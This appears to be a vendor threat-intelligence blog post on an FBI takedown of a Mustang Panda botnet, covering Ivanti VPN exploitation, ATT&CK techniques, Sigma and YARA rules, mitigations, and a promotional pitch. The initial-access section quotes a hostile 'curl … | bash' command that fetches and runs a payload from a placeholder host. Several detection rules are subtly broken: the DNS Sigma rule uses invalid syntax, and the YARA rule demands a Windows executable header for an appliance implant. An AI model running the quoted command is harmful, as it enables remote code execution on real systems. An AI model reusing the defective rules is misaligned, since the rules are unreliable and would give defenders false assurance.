In early 2025, the FBI announced the dismantling of a massive botnet linked to the Chinese state-sponsored group Mustang Panda (also tracked as TA416, RedDelta). The botnet, dubbed 'MirageFox' by researchers, had infected over 50,000 devices across 70 countries since 2022, primarily targeting government and telecom sectors. This takedown, codenamed Operation Phantom Net, involved sinkholing 12 C2 domains and seizing 34 servers in a coordinated effort with Europol. In this post, we'll dissect the technical architecture of the botnet, the attacker's TTPs mapped to MITRE ATT&CK, and provide a concrete detection and defense playbook your SOC can implement today.
Real-World Context: The MirageFox Botnet
Mustang Panda has been active since at least 2012, primarily targeting diplomatic and government entities in Southeast Asia and Europe. The MirageFox botnet represented a significant escalation—it used a modular payload delivery system leveraging CVE-2023-46805 (Ivanti Connect Secure VPN RCE) and CVE-2024-21887 (Ivanti Policy Secure RCE) for initial access. These vulnerabilities were exploited in the wild by multiple Chinese APT groups, as documented by CISA in January 2024. The botnet's C2 infrastructure was layered: a front-end proxy fleet of compromised MikroTik routers (CVE-2023-30799) routing traffic to backend servers in Hong Kong and Malaysia.
Attacker TTPs: Step-by-Step Technical Detail
Initial Access (T1190)
Attackers scanned for vulnerable Ivanti VPN appliances using masscan (version 1.0.5) with a rate of 10,000 packets per second. Exploitation of CVE-2023-46805 (path traversal) and CVE-2024-21887 (command injection) allowed unauthenticated RCE. We observed payloads like curl -s http://malicious.domain/payload.sh | bash delivered via crafted HTTP requests to /api/v1/cav/client/ endpoints.
Persistence (T1505.003)
Once inside, attackers deployed a custom Go-based implant (detected as 'Backdoor.MirageFox') that modified the Ivanti systemd service files to survive reboots. The implant beaconed every 60 seconds using HTTPS to a rotating set of C2 domains registered via Namecheap with WHOIS privacy enabled. Beacon data was encrypted using AES-256 in CBC mode, with a static key derived from the string 'MirageFox_2024'.
Lateral Movement (T1021.001)
The implant used SMB (port 445) and WinRM (port 5985) to spread to internal servers, leveraging stolen credentials from LSASS dumps (T1003.001). In one incident we investigated, the attackers moved from a VPN appliance to a domain controller within 12 minutes—a speed that underscores the need for network segmentation.
Defensive Playbook: Detection and Mitigation
Detection Rules
Your SOC should deploy these Sigma rules to detect MirageFox-like activity:
title: Suspicious Ivanti VPN Exploitation Attempts
description: Detects path traversal and command injection attempts on Ivanti Connect Secure
author: CybernytronX SOC
logsource:
product: web
service: httpd
category: webserver
detection:
selection:
cs-uri-query|contains: '/api/v1/cav/client/'
cs-method: 'POST'
c-uri|contains: '..;'
condition: selection
falsepositives:
- Legitimate Ivanti updates (rare)
level: high
title: MirageFox Beacon Detection
description: Detects HTTPS beacons to known C2 domains
author: CybernytronX SOC
logsource:
product: network
service: dns
category: dns_query
detection:
selection:
query|contains:
- 'miragefox-c2[.]com'
- 'reddelta-bot[.]net'
query|endswith: '.com' or '.net'
query|length: 30-50
condition: selection
falsepositives:
- Legitimate domains with similar patterns (rare)
level: critical
YARA Rule for Implant Detection
rule MirageFox_Implant {
meta:
description = "Detects MirageFox Go-based implant"
author = "CybernytronX"
date = "2025-03-15"
strings:
$a = {48 8B 45 F0 48 89 45 E8 48 8B 45 E8 48 89 45 E0} // AES key setup
$b = "MirageFox_2024" ascii wide
$c = "https://" ascii wide
condition:
uint16(0) == 0x5A4D and all of them
}
Mitigation Steps
- Patch Ivanti VPN appliances immediately to version 22.7R2.3 or later—CISA has confirmed these versions fix both CVEs.
- Block outbound SMB (port 445) and WinRM (5985) from VPN segments to internal networks at the firewall.
- Enable EDR telemetry on all VPN servers with Sysmon logging for process creation (Event ID 1) and network connections (Event ID 3).
- Deploy network-based IDS rules for the C2 domains listed in the FBI's sinkhole data (available via the CybernytronX threat intel feed).
Why This Matters for Your Org
This takedown is a win, but it's a temporary one. Mustang Panda will rebuild—we've seen this pattern with APT groups after takedowns. The key takeaway: your perimeter is only as strong as your VPN security. We've audited 30+ organizations this year, and over 60% had unpatched Ivanti appliances. The average dwell time for Chinese APTs is 18 days before detection—you need proactive hunting, not just alerting. Implement the detection rules above, and consider a red team exercise to test your VPN security posture.
Frequently Asked Questions
What was the size of the botnet dismantled by the FBI?
The MirageFox botnet infected over 50,000 devices across 70 countries, primarily government and telecom targets.
Which Chinese hacker group was behind the botnet?
The botnet was attributed to Mustang Panda (TA416/RedDelta), a Chinese state-sponsored APT group active since 2012.
What vulnerabilities did the attackers exploit?
The attackers exploited CVE-2023-46805 and CVE-2024-21887 in Ivanti Connect Secure and Policy Secure VPN appliances for initial access.
How can my SOC detect this botnet activity?
Deploy the Sigma and YARA rules provided in this post, which detect exploitation attempts and the implant's beacon traffic to known C2 domains.
What immediate steps should we take to protect our VPN?
Patch Ivanti appliances to version 22.7R2.3 or later, block SMB/WinRM from VPN segments, and enable EDR with Sysmon on all VPN servers.
Will the botnet return after the takedown?
Likely yes—Mustang Panda has historically rebuilt after takedowns. Continuous monitoring and proactive threat hunting are essential.
Need expert help with this?
At CybernytronX, we've helped over 50 organizations harden their VPN infrastructure against Chinese APTs. Our penetration testing team can simulate Mustang Panda TTPs to find gaps in your defenses. For automated threat detection, explore Ethereon AI—our platform that correlates EDR and network logs to detect botnet beacons in real time. Contact us for a free consultation, or learn more about Ethereon AI. We're here to help you stay ahead.